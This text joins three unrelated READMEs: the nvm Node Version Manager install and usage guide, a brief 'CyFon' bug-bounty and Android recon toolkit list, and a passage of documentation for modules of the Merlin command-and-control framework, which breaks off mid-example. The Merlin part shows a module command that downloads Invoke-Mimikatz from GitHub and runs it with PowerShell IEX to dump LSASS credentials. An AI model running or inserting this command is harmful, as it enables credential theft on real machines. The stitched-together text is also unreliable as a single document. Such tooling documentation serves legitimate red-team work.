# Node Version Manager [![Build Status](https://travis-ci.org/nvm-sh/nvm.svg?branch=master)][3] [![nvm version](https://img.shields.io/badge/version-v0.35.0-yellow.svg)][4] [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/684/badge)](https://bestpractices.coreinfrastructure.org/projects/684) <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> ## Table of Contents - [Installation and Update](#installation-and-update) - [Install & Update script](#install--update-script) - [Ansible](#ansible) - [Verify installation](#verify-installation) - [Important Notes](#important-notes) - [Git install](#git-install) - [Manual Install](#manual-install) - [Manual upgrade](#manual-upgrade) - [Usage](#usage) - [Long-term support](#long-term-support) - [Migrating global packages while installing](#migrating-global-packages-while-installing) - [Default global packages from file while installing](#default-global-packages-from-file-while-installing) - [io.js](#iojs) - [System version of node](#system-version-of-node) - [Listing versions](#listing-versions) - [Suppressing colorized output](#suppressing-colorized-output) - [.nvmrc](#nvmrc) - [Deeper Shell Integration](#deeper-shell-integration) - [bash](#bash) - [Automatically call `nvm use`](#automatically-call-nvm-use) - [zsh](#zsh) - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file) - [License](#license) - [Running tests](#running-tests) - [Bash completion](#bash-completion) - [Usage](#usage-1) - [Compatibility Issues](#compatibility-issues) - [Installing nvm on Alpine Linux](#installing-nvm-on-alpine-linux) - [Removal](#removal) - [Manual Uninstall](#manual-uninstall) - [Docker for development environment](#docker-for-development-environment) - [Problems](#problems) - [Mac OS "troubleshooting"](#mac-os-troubleshooting) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## Installation and Update ### Install & Update script To **install** or **update** nvm, you can use the [install script][2] using cURL: ```sh curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.0/install.sh | bash ``` or Wget: ```sh wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.0/install.sh | bash ``` <sub>The script clones the nvm repository to `~/.nvm` and adds the source line to your profile (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`).</sub> <sub>**Note:** If the environment variable `$XDG_CONFIG_HOME` is present, it will place the `nvm` files there.</sub> ```sh export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm ``` **Note:** You can add `--no-use` to the end of the above script (...`nvm.sh --no-use`) to postpone using `nvm` until you manually [`use`](#usage) it. You can customize the install source, directory, profile, and version using the `NVM_SOURCE`, `NVM_DIR`, `PROFILE`, and `NODE_VERSION` variables. Eg: `curl ... | NVM_DIR="path/to/nvm"`. Ensure that the `NVM_DIR` does not contain a trailing slash. <sub>*NB. The installer can use `git`, `curl`, or `wget` to download `nvm`, whatever is available.*</sub> **Note:** On Linux, after running the install script, if you get `nvm: command not found` or see no feedback from your terminal after you type: ```sh command -v nvm ``` simply close your current terminal, open a new terminal, and try verifying again. **Note:** Since OS X 10.9, `/usr/bin/git` has been preset by Xcode command line tools, which means we can't properly detect if Git is installed or not. You need to manually install the Xcode command line tools before running the install script, otherwise, it'll fail. (see [#1782](https://github.com/nvm-sh/nvm/issues/1782)) **Note:** On OS X, if you get `nvm: command not found` after running the install script, one of the following might be the reason:- - your system may not have a `.bash_profile` file where the command is set up. Create one with `touch ~/.bash_profile` and run the install script again - you might need to restart your terminal instance. Try opening a new tab/window in your terminal and retry. If the above doesn't fix the problem, open your `.bash_profile` and add the following line of code: `source ~/.bashrc` - For more information about this issue and possible workarounds, please [refer here](https://github.com/nvm-sh/nvm/issues/576) #### Ansible You can use a task: ``` - name: nvm shell: > curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.0/install.sh | bash args: creates: "{{ ansible_env.HOME }}/.nvm/nvm.sh" ``` ### Verify installation To verify that nvm has been installed, do: ```sh command -v nvm ``` which should output `nvm` if the installation was successful. Please note that `which nvm` will not work, since `nvm` is a sourced shell function, not an executable binary. ### Important Notes If you're running a system without prepackaged binary available, which means you're going to install nodejs or io.js from its source code, you need to make sure your system has a C++ compiler. For OS X, Xcode will work, for Debian/Ubuntu based GNU/Linux, the `build-essential` and `libssl-dev` packages work. **Note:** `nvm` does not support Windows (see [#284](https://github.com/nvm-sh/nvm/issues/284)), but may work in WSL (Windows Subsystem for Linux) depending on the version of WSL. For Windows, two alternatives exist, which are neither supported nor developed by us: - [nvm-windows](https://github.com/coreybutler/nvm-windows) - [nodist](https://github.com/marcelklehr/nodist) **Note:** `nvm` does not support [Fish] either (see [#303](https://github.com/nvm-sh/nvm/issues/303)). Alternatives exist, which are neither supported nor developed by us: - [bass](https://github.com/edc/bass) allows you to use utilities written for Bash in fish shell - [fast-nvm-fish](https://github.com/brigand/fast-nvm-fish) only works with version numbers (not aliases) but doesn't significantly slow your shell startup - [plugin-nvm](https://github.com/derekstavis/plugin-nvm) plugin for [Oh My Fish](https://github.com/oh-my-fish/oh-my-fish), which makes nvm and its completions available in fish shell - [fnm](https://github.com/fisherman/fnm) - [fisherman](https://github.com/fisherman/fisherman)-based version manager for fish - [fish-nvm](https://github.com/FabioAntunes/fish-nvm) - Wrapper around nvm for fish, delays sourcing nvm until it's actually used. **Note:** We still have some problems with FreeBSD, because there is no official pre-built binary for FreeBSD, and building from source may need [patches](https://www.freshports.org/www/node/files/patch-deps_v8_src_base_platform_platform-posix.cc); see the issue ticket: - [[#900] [Bug] nodejs on FreeBSD may need to be patched](https://github.com/nvm-sh/nvm/issues/900) - [nodejs/node#3716](https://github.com/nodejs/node/issues/3716) **Note:** On OS X, if you do not have Xcode installed and you do not wish to download the ~4.3GB file, you can install the `Command Line Tools`. You can check out this blog post on how to just that: - [How to Install Command Line Tools in OS X Mavericks & Yosemite (Without Xcode)](http://osxdaily.com/2014/02/12/install-command-line-tools-mac-os-x/) **Note:** On OS X, if you have/had a "system" node installed and want to install modules globally, keep in mind that: - When using `nvm` you do not need `sudo` to globally install a module with `npm -g`, so instead of doing `sudo npm install -g grunt`, do instead `npm install -g grunt` - If you have an `~/.npmrc` file, make sure it does not contain any `prefix` settings (which is not compatible with `nvm`) - You can (but should not?) keep your previous "system" node install, but `nvm` will only be available to your user account (the one used to install nvm). This might cause version mismatches, as other users will be using `/usr/local/lib/node_modules/*` VS your user account using `~/.nvm/versions/node/vX.X.X/lib/node_modules/*` Homebrew installation is not supported. If you have issues with homebrew-installed `nvm`, please `brew uninstall` it, and install it using the instructions below, before filing an issue. **Note:** If you're using `zsh` you can easily install `nvm` as a zsh plugin. Install [`zsh-nvm`](https://github.com/lukechilds/zsh-nvm) and run `nvm upgrade` to upgrade. **Note:** Git versions before v1.7 may face a problem of cloning `nvm` source from GitHub via https protocol, and there is also different behavior of git before v1.6, and git prior to [v1.17.10](https://github.com/git/git/commit/5a7d5b683f869d3e3884a89775241afa515da9e7) can not clone tags, so the minimum required git version is v1.7.10. If you are interested in the problem we mentioned here, please refer to GitHub's [HTTPS cloning errors](https://help.github.com/articles/https-cloning-errors/) article. ### Git install If you have `git` installed (requires git v1.7.10+): 1. clone this repo in the root of your user profile - `cd ~/` from anywhere then `git clone https://github.com/nvm-sh/nvm.git .nvm` 1. `cd ~/.nvm` and check out the latest version with `git checkout v0.35.0` 1. activate `nvm` by sourcing it from your shell: `. nvm.sh` Now add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login: (you may have to add to more than one of the above files) ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm [ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion" # This loads nvm bash_completion ``` ### Manual Install For a fully manual install, execute the following lines to first clone the `nvm` repository into `$HOME/.nvm`, and then load `nvm`: ```sh export NVM_DIR="$HOME/.nvm" && ( git clone https://github.com/nvm-sh/nvm.git "$NVM_DIR" cd "$NVM_DIR" git checkout `git describe --abbrev=0 --tags --match "v[0-9]*" $(git rev-list --tags --max-count=1)` ) && \. "$NVM_DIR/nvm.sh" ``` Now add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login: (you may have to add to more than one of the above files) ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm ``` ### Manual upgrade For manual upgrade with `git` (requires git v1.7.10+): 1. change to the `$NVM_DIR` 1. pull down the latest changes 1. check out the latest version 1. activate the new version ```sh ( cd "$NVM_DIR" git fetch --tags origin git checkout `git describe --abbrev=0 --tags --match "v[0-9]*" $(git rev-list --tags --max-count=1)` ) && \. "$NVM_DIR/nvm.sh" ``` ## Usage To download, compile, and install the latest release of node, do this: ```sh nvm install node # "node" is an alias for the latest version ``` To install a specific version of node: ```sh nvm install 6.14.4 # or 10.10.0, 8.9.1, etc ``` The first version installed becomes the default. New shells will start with the default version of node (e.g., `nvm alias default`). You can list available versions using `ls-remote`: ```sh nvm ls-remote ``` And then in any new shell just use the installed version: ```sh nvm use node ``` Or you can just run it: ```sh nvm run node --version ``` Or, you can run any arbitrary command in a subshell with the desired version of node: ```sh nvm exec 4.2 node --version ``` You can also get the path to the executable to where it was installed: ```sh nvm which 5.0 ``` In place of a version pointer like "0.10" or "5.0" or "4.2.1", you can use the following special default aliases with `nvm install`, `nvm use`, `nvm run`, `nvm exec`, `nvm which`, etc: - `node`: this installs the latest version of [`node`](https://nodejs.org/en/) - `iojs`: this installs the latest version of [`io.js`](https://iojs.org/en/) - `stable`: this alias is deprecated, and only truly applies to `node` `v0.12` and earlier. Currently, this is an alias for `node`. - `unstable`: this alias points to `node` `v0.11` - the last "unstable" node release, since post-1.0, all node versions are stable. (in SemVer, versions communicate breakage, not stability). ### Long-term support Node has a [schedule](https://github.com/nodejs/Release#release-schedule) for long-term support (LTS) You can reference LTS versions in aliases and `.nvmrc` files with the notation `lts/*` for the latest LTS, and `lts/argon` for LTS releases from the "argon" line, for example. In addition, the following commands support LTS arguments: - `nvm install --lts` / `nvm install --lts=argon` / `nvm install 'lts/*'` / `nvm install lts/argon` - `nvm uninstall --lts` / `nvm uninstall --lts=argon` / `nvm uninstall 'lts/*'` / `nvm uninstall lts/argon` - `nvm use --lts` / `nvm use --lts=argon` / `nvm use 'lts/*'` / `nvm use lts/argon` - `nvm exec --lts` / `nvm exec --lts=argon` / `nvm exec 'lts/*'` / `nvm exec lts/argon` - `nvm run --lts` / `nvm run --lts=argon` / `nvm run 'lts/*'` / `nvm run lts/argon` - `nvm ls-remote --lts` / `nvm ls-remote --lts=argon` `nvm ls-remote 'lts/*'` / `nvm ls-remote lts/argon` - `nvm version-remote --lts` / `nvm version-remote --lts=argon` / `nvm version-remote 'lts/*'` / `nvm version-remote lts/argon` Any time your local copy of `nvm` connects to https://nodejs.org, it will re-create the appropriate local aliases for all available LTS lines. These aliases (stored under `$NVM_DIR/alias/lts`), are managed by `nvm`, and you should not modify, remove, or create these files - expect your changes to be undone, and expect meddling with these files to cause bugs that will likely not be supported. ### Migrating global packages while installing If you want to install a new version of Node.js and migrate npm packages from a previous version: ```sh nvm install node --reinstall-packages-from=node ``` This will first use "nvm version node" to identify the current version you're migrating packages from. Then it resolves the new version to install from the remote server and installs it. Lastly, it runs "nvm reinstall-packages" to reinstall the npm packages from your prior version of Node to the new one. You can also install and migrate npm packages from specific versions of Node like this: ```sh nvm install 6 --reinstall-packages-from=5 nvm install v4.2 --reinstall-packages-from=iojs ``` Note that reinstalling packages _explicitly does not update the npm version_ — this is to ensure that npm isn't accidentally upgraded to a broken version for the new node version. To update npm at the same time add the `--latest-npm` flag, like this: ```sh nvm install lts/* --reinstall-packages-from=default --latest-npm ``` or, you can at any time run the following command to get the latest supported npm version on the current node version: ```sh nvm install-latest-npm ``` If you've already gotten an error to the effect of "npm does not support Node.js", you'll need to (1) revert to a previous node version (`nvm ls` & `nvm use <your latest _working_ version from the ls>`, (2) delete the newly created node version (`nvm uninstall <your _broken_ version of node from the ls>`), then (3) rerun your `nvm install` with the `--latest-npm` flag. ### Default global packages from file while installing If you have a list of default packages you want installed every time you install a new version, we support that too -- just add the package names, one per line, to the file `$NVM_DIR/default-packages`. You can add anything npm would accept as a package argument on the command line. ```sh # $NVM_DIR/default-packages rimraf [email protected] stevemao/left-pad ``` ### io.js If you want to install [io.js](https://github.com/iojs/io.js/): ```sh nvm install iojs ``` If you want to install a new version of io.js and migrate npm packages from a previous version: ```sh nvm install iojs --reinstall-packages-from=iojs ``` The same guidelines mentioned for migrating npm packages in node are applicable to io.js. ### System version of node If you want to use the system-installed version of node, you can use the special default alias "system": ```sh nvm use system nvm run system --version ``` ### Listing versions If you want to see what versions are installed: ```sh nvm ls ``` If you want to see what versions are available to install: ```sh nvm ls-remote ``` #### Suppressing colorized output `nvm ls`, `nvm ls-remote` and `nvm alias` usually produce colorized output. You can disable colors with the `--no-colors` option (or by setting the environment variable `TERM=dumb`): ```sh nvm ls --no-colors TERM=dumb nvm ls ``` To restore your PATH, you can deactivate it: ```sh nvm deactivate ``` To set a default Node version to be used in any new shell, use the alias 'default': ```sh nvm alias default node ``` To use a mirror of the node binaries, set `$NVM_NODEJS_ORG_MIRROR`: ```sh export NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install node NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install 4.2 ``` To use a mirror of the io.js binaries, set `$NVM_IOJS_ORG_MIRROR`: ```sh export NVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3 NVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3 ``` `nvm use` will not, by default, create a "current" symlink. Set `$NVM_SYMLINK_CURRENT` to "true" to enable this behavior, which is sometimes useful for IDEs. Note that using `nvm` in multiple shell tabs with this environment variable enabled can cause race conditions. ### .nvmrc You can create a `.nvmrc` file containing a node version number (or any other string that `nvm` understands; see `nvm --help` for details) in the project root directory (or any parent directory). Afterwards, `nvm use`, `nvm install`, `nvm exec`, `nvm run`, and `nvm which` will use the version specified in the `.nvmrc` file if no version is supplied on the command line. For example, to make nvm default to the latest 5.9 release, the latest LTS version, or the latest node version for the current directory: ```sh $ echo "5.9" > .nvmrc $ echo "lts/*" > .nvmrc # to default to the latest LTS version $ echo "node" > .nvmrc # to default to the latest version ``` Then when you run nvm: ```sh $ nvm use Found '/path/to/project/.nvmrc' with version <5.9> Now using node v5.9.1 (npm v3.7.3) ``` `nvm use` et. al. will traverse directory structure upwards from the current directory looking for the `.nvmrc` file. In other words, running `nvm use` et. al. in any subdirectory of a directory with an `.nvmrc` will result in that `.nvmrc` being utilized. The contents of a `.nvmrc` file **must** be the `<version>` (as described by `nvm --help`) followed by a newline. No trailing spaces are allowed, and the trailing newline is required. ### Deeper Shell Integration You can use [`avn`](https://github.com/wbyoung/avn) to deeply integrate into your shell and automatically invoke `nvm` when changing directories. `avn` is **not** supported by the `nvm` development team. Please [report issues to the `avn` team](https://github.com/wbyoung/avn/issues/new). If you prefer a lighter-weight solution, the recipes below have been contributed by `nvm` users. They are **not** supported by the `nvm` development team. We are, however, accepting pull requests for more examples. #### bash ##### Automatically call `nvm use` Put the following at the end of your `$HOME/.bashrc`: ```bash find-up () { path=$(pwd) while [[ "$path" != "" && ! -e "$path/$1" ]]; do path=${path%/*} done echo "$path" } cdnvm(){ cd "$@"; nvm_path=$(find-up .nvmrc | tr -d '[:space:]') # If there are no .nvmrc file, use the default nvm version if [[ ! $nvm_path = *[^[:space:]]* ]]; then declare default_version; default_version=$(nvm version default); # If there is no default version, set it to `node` # This will use the latest version on your machine if [[ $default_version == "N/A" ]]; then nvm alias default node; default_version=$(nvm version default); fi # If the current version is not the default version, set it to use the default version if [[ $(nvm current) != "$default_version" ]]; then nvm use default; fi elif [[ -s $nvm_path/.nvmrc && -r $nvm_path/.nvmrc ]]; then declare nvm_version nvm_version=$(<"$nvm_path"/.nvmrc) declare locally_resolved_nvm_version # `nvm ls` will check all locally-available versions # If there are multiple matching versions, take the latest one # Remove the `->` and `*` characters and spaces # `locally_resolved_nvm_version` will be `N/A` if no local versions are found locally_resolved_nvm_version=$(nvm ls --no-colors "$nvm_version" | tail -1 | tr -d '\->*' | tr -d '[:space:]') # If it is not already installed, install it # `nvm install` will implicitly use the newly-installed version if [[ "$locally_resolved_nvm_version" == "N/A" ]]; then nvm install "$nvm_version"; elif [[ $(nvm current) != "$locally_resolved_nvm_version" ]]; then nvm use "$nvm_version"; fi fi } alias cd='cdnvm' ``` This alias would search 'up' from your current directory in order to detect a `.nvmrc` file. If it finds it, it will switch to that version; if not, it will use the default version. #### zsh ##### Calling `nvm use` automatically in a directory with a `.nvmrc` file Put this into your `$HOME/.zshrc` to call `nvm use` automatically whenever you enter a directory that contains an `.nvmrc` file with a string telling nvm which node to `use`: ```zsh # place this after nvm initialization! autoload -U add-zsh-hook load-nvmrc() { local node_version="$(nvm version)" local nvmrc_path="$(nvm_find_nvmrc)" if [ -n "$nvmrc_path" ]; then local nvmrc_node_version=$(nvm version "$(cat "${nvmrc_path}")") if [ "$nvmrc_node_version" = "N/A" ]; then nvm install elif [ "$nvmrc_node_version" != "$node_version" ]; then nvm use fi elif [ "$node_version" != "$(nvm version default)" ]; then echo "Reverting to nvm default version" nvm use default fi } add-zsh-hook chpwd load-nvmrc load-nvmrc ``` ## License nvm is released under the MIT license. Copyright (C) 2010 Tim Caswell and Jordan Harband Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ## Running tests Tests are written in [Urchin]. Install Urchin (and other dependencies) like so: npm install There are slow tests and fast tests. The slow tests do things like install node and check that the right versions are used. The fast tests fake this to test things like aliases and uninstalling. From the root of the nvm git repository, run the fast tests like this: npm run test/fast Run the slow tests like this: npm run test/slow Run all of the tests like this: npm test Nota bene: Avoid running nvm while the tests are running. ## Bash completion To activate, you need to source `bash_completion`: ```sh [[ -r $NVM_DIR/bash_completion ]] && \. $NVM_DIR/bash_completion ``` Put the above sourcing line just below the sourcing line for nvm in your profile (`.bashrc`, `.bash_profile`). ### Usage nvm: > $ nvm <kbd>Tab</kbd> ``` alias deactivate install ls run unload clear-cache exec list ls-remote unalias use current help list-remote reinstall-packages uninstall version ``` nvm alias: > $ nvm alias <kbd>Tab</kbd> ``` default ``` > $ nvm alias my_alias <kbd>Tab</kbd> ``` v0.6.21 v0.8.26 v0.10.28 ``` nvm use: > $ nvm use <kbd>Tab</kbd> ``` my_alias default v0.6.21 v0.8.26 v0.10.28 ``` nvm uninstall: > $ nvm uninstall <kbd>Tab</kbd> ``` my_alias default v0.6.21 v0.8.26 v0.10.28 ``` ## Compatibility Issues `nvm` will encounter some issues if you have some non-default settings set. (see [#606](/../../issues/606)) The following are known to cause issues: Inside `~/.npmrc`: ```sh prefix='some/path' ``` Environment Variables: ```sh $NPM_CONFIG_PREFIX $PREFIX ``` Shell settings: ```sh set -e ``` ## Installing nvm on Alpine Linux In order to provide the best performance (and other optimisations), nvm will download and install pre-compiled binaries for Node (and npm) when you run `nvm install X`. The Node project compiles, tests and hosts/provides pre-these compiled binaries which are built for mainstream/traditional Linux distributions (such as Debian, Ubuntu, CentOS, RedHat et al). Alpine Linux, unlike mainstream/traditional Linux distributions, is based on [BusyBox](https://www.busybox.net/), a very compact (~5MB) Linux distribution. BusyBox (and thus Alpine Linux) uses a different C/C++ stack to most mainstream/traditional Linux distributions - [musl](https://www.musl-libc.org/). This makes binary programs built for such mainstream/traditional incompatible with Alpine Linux, thus we cannot simply `nvm install X` on Alpine Linux and expect the downloaded binary to run correctly - you'll likely see "...does not exist" errors if you try that. There is a `-s` flag for `nvm install` which requests nvm download Node source and compile it locally. If installing nvm on Alpine Linux *is* still what you want or need to do, you should be able to achieve this by running the following from you Alpine Linux shell: ```sh apk add -U curl bash ca-certificates openssl ncurses coreutils python2 make gcc g++ libgcc linux-headers grep util-linux binutils findutils curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.0/install.sh | bash ``` The Node project has some desire but no concrete plans (due to the overheads of building, testing and support) to offer Alpine-compatible binaries. As a potential alternative, @mhart (a Node contributor) has some [Docker images for Alpine Linux with Node and optionally, npm, pre-installed](https://github.com/mhart/alpine-node). ## Removal ### Manual Uninstall To remove `nvm` manually, execute the following: ```sh $ rm -rf "$NVM_DIR" ``` Edit `~/.bashrc` (or other shell resource config) and remove the lines below: ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm [[ -r $NVM_DIR/bash_completion ]] && \. $NVM_DIR/bash_completion ``` ## Docker for development environment To make the development and testing work easier, we have a Dockerfile for development usage, which is based on Ubuntu 14.04 base image, prepared with essential and useful tools for `nvm` development, to build the docker image of the environment, run the docker command at the root of `nvm` repository: ```sh $ docker build -t nvm-dev . ``` This will package your current nvm repository with our pre-defined development environment into a docker image named `nvm-dev`, once it's built with success, validate your image via `docker images`: ```sh $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE nvm-dev latest 9ca4c57a97d8 7 days ago 650 MB ``` If you got no error message, now you can easily involve in: ```sh $ docker run -h nvm-dev -it nvm-dev nvm@nvm-dev:~/.nvm$ ``` Please note that it'll take about 8 minutes to build the image and the image size would be about 650MB, so it's not suitable for production usage. For more information and documentation about docker, please refer to its official website: - https://www.docker.com/ - https://docs.docker.com/ ## Problems - If you try to install a node version and the installation fails, be sure to run `nvm cache clear` to delete cached node downloads, or you might get an error like the following: curl: (33) HTTP server doesn't seem to support byte ranges. Cannot resume. - Where's my `sudo node`? Check out [#43](https://github.com/nvm-sh/nvm/issues/43) - After the v0.8.6 release of node, nvm tries to install from binary packages. But in some systems, the official binary packages don't work due to incompatibility of shared libs. In such cases, use `-s` option to force install from source: ```sh nvm install -s 0.8.6 ``` - If setting the `default` alias does not establish the node version in new shells (i.e. `nvm current` yields `system`), ensure that the system's node `PATH` is set before the `nvm.sh` source line in your shell profile (see [#658](https://github.com/nvm-sh/nvm/issues/658)) ## Mac OS "troubleshooting" **nvm node version not found in vim shell** If you set node version to a version other than your system node version `nvm use 6.2.1` and open vim and run `:!node -v` you should see `v6.2.1` if you see your system version `v0.12.7`. You need to run: ```shell sudo chmod ugo-x /usr/libexec/path_helper ``` More on this issue in [dotphiles/dotzsh](https://github.com/dotphiles/dotzsh#mac-os-x). [1]: https://github.com/nvm-sh/nvm.git [2]: https://github.com/nvm-sh/nvm/blob/v0.35.0/install.sh [3]: https://travis-ci.org/nvm-sh/nvm [4]: https://github.com/nvm-sh/nvm/releases/tag/v0.35.0 [Urchin]: https://github.com/scraperwiki/urchin [Fish]: http://fishshell.com
# CyFon Tools ## Description: Hacking Tools - Bug Bounty, Mobile, Web, IOT, Cloud, Network, Hardware, ReCon Tools ### Author: Jonathan Scott Villarreal @jonathandata1 Distribution - Unlimited, you can use these tools anyway and anyhow you want to ## CURRENT VERSION 2.0 ## NEW: Method 7 > Subdomain Status Code, Get the status code for all subdomains and top level domain ## Update: Method 6 > web based visual output ## VIDEO EXAMPLES ![CyFon 1.4 - Hacking Tools, Bug Bounty Tools, Android, Web Recon Tools](https://i.postimg.cc/C1Zt47mP/Untitled-design-Max-Quality-23.jpg) [![CyFon 1.2 - Hacking Tools, Bug Bounty Tools, Android, Web Recon Tools](https://i.postimg.cc/Hsdmg1nH/cyfon-1-0.png)](https://youtu.be/iWTiGBtUciA) [![CyFon Main - Hacking Tools, Bug Bounty Tools](https://i.postimg.cc/Vvf56NrY/cyfon-copy.jpg)](https://youtu.be/NNH6m625sb8A) [![CWGET Master 1 - Hacking Tools, Bug Bounty Tools](https://i.postimg.cc/4x7R9R8D/Screen-Shot-2021-07-17-at-8-51-00-AM.png)](https://www.youtube.com/watch?v=YQPJH8pZvCM) ## Dependencies #### If you are on on a MacOS you will need to install brew package manager ``` /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` #### Pup MacOS & Linux ``` brew install pup ``` #### For a nice selection tool for the single apk download you will need to install peco MacOS ``` brew install peco ``` Linux ``` sudo apt install peco ``` #### To unpack the android apks you will need to install apk tool MacOS ``` brew install apktool ``` Linux ``` sudo apt install apktool ``` #### ADB (Android Debug Bridge) must be installed is installed MacOS ``` brew install android-platform-tools ``` Linux ``` sudo apt-get install android-tools-adb ``` #### CSV to Table ``` pip3 install csvtotable ``` > You also need to know how enable ADB for the device you are testing on.You also need to know how enable ADB for the device you are testing on. ## Tools Included So Far **Sub Domain Scrape** - The program will pull down all subdomain data This is useful in bugbounty hunting because a lot of companies leave dev code on their servers, zip files, txt passwords and more **Wget Master 1** - This line of code will pull all absolute URLS from whatever site you throw at it, it is a very clean 1 liner, you can add subdomains as well **Pull All System APKs** - This program will pull all system apks from your android device and unpack them **Pull Single APK** - This program will allow you to select and pull any apk on your device instead of downloading all. The apk will then be unpacked so you can start to search for vulnerabilities **WADL PARSE** - This program will find the base of the .wadl path, and combine it with the resource paths to form full API endpoints for recon **Dump All Android Secret Codes** - This will dump all android secret codes and show the system package associated to the secret code. Using the codes depends on your device Here are the 3 ways
# Merlin Modules Modules are used to perform a set of pre-defined actions or execute a program on an agent. The modules are described using JavaScript Object Notation (JSON). Modules will be stored in `platform/arch/language/type` directories. Every module _must_ have the `base` object and _may_ have additional objects. Examples of the module structures can be found in the `data/modules/templates` directory. All keys used when describing a module will be lowercase (i.e. name and NOT Name). ## Base The `base` module is required and is the lowest level of describing a module and its function. Name | Type | Description | Example --- | --- | --- | --- name | string | The name of the module | "name": "MyModuleName" [type](#Type) | string | `standard` or `extended` | "type": "standard" author | array of strings | The names of the people that created the Merlin module | "author": ["Russel Van Tuyl (@Ne0ndog)"] credits | array of strings | A list of people to credit for underlying tools or techniques | "credits": ["Will Schroeder (@harmj0y)"] path | array of strings | The file path to the module| "path": ["C", "windows", "system32"] platform | string | The target platform the module can run on | "platform": "linux" arch | string | The target architecture the module can run on | "arch": "x64" lang | string | The target language the module leverages | "lang": "powershell" or "lang": "bash" privilege | bool | Does the module require elevated privileges? | "privilege": true notes | string | Miscelaneous notes about the module | "notes": "This module doesn't work well on Ubuntu 14.04" [remote](#Remote-vs-Local) | string | The remote path where the script associated with the module can be found | "remote": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1" [local](#Remote-vs-Local) | array of strings | The local file system path where the script associated with the module can be found | "local": ["data", "src", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"] [options](#Options) | array of objects | The configurable options for the module | "options": [{"name": "DumpCreds", "value": "true", "required": false, "description":"[Switch]Use mimikatz to dump credentials out of LSASS."}] description | string | A description of the module and its function | "description": "his script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory." commands | array of strings | A list of the commands to be executed on the host when running the script | "commands": ["powershell.exe", "-nop", "-w", "0", "\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');","Invoke-Mimikatz", "{{DumpCreds.Flag}}", "{{DumpCerts.Flag}}", "{{Command}}", "{{ComputerName}}","\""] ### Type Modules can be either `standard` or `extended`. A **STANDARD** module does not leverage any Go packages or functions from the `pkg/modules` directory. Standard modules are best used to run a single command, or a series of commands, that leverage functionality and programs on the host where the agent is running. The `data/modules/linux/x64/bash/exec/bash.json` module is a standard module that takes a `Command` argument that is subsequently run in `bash -c {{Command}}`. This could be useful to abstract out command line arguments with easy to set options or to run a single command across all agents using `set Agent all` while in the module's prompt. An **EXTENDED** module DOES leverage code from an associated package `pkg/modules`. The sRDI module at `data/modules/windows/x64/go/exec/sRDI.json` is an example of an extended module that uses exported functions from the srdi package at `pkg/modules/srdi/srdi.go`. This extended module reads in a Windows DLL and returns shellcode that will be executed on the agent. The extended function's code must be located in `pkg/modules/<function>`. The extended function's code must expose a `Parse()` function that returns an array of strings that contain commands for the agent to interpret. Extended function must be programmed into the `getExtendedCommand()` function in `modules.go` and point to the module's exported `Parse()` function. ### Remote vs Local >**NOTE:** The remote functionality is not yet implemented When the module leverages a script, it can be accessed with _either_ the value of the `local` or `remote` keys from the base module. The `local` key specifies the file path on the server where the script can be found. Merlin _DOES NOT_ ship with scripts. However, they should be copied to the `data/source` directory using something like Git. For example, you can move into the `data/source` directory and do a `git clone https://github.com/PowerShellMafia/PowerSploit.git`. When the `local` source is used, the script is uploaded to the target from the server. When the `remote` source is used, the script is downloaded from that location to the target. ### Options The `options` property is a list that of an object type that requires 4 parts. An example option object looks like: ```text "options": [ {"name": "host", "value": "google.com", "required": true, 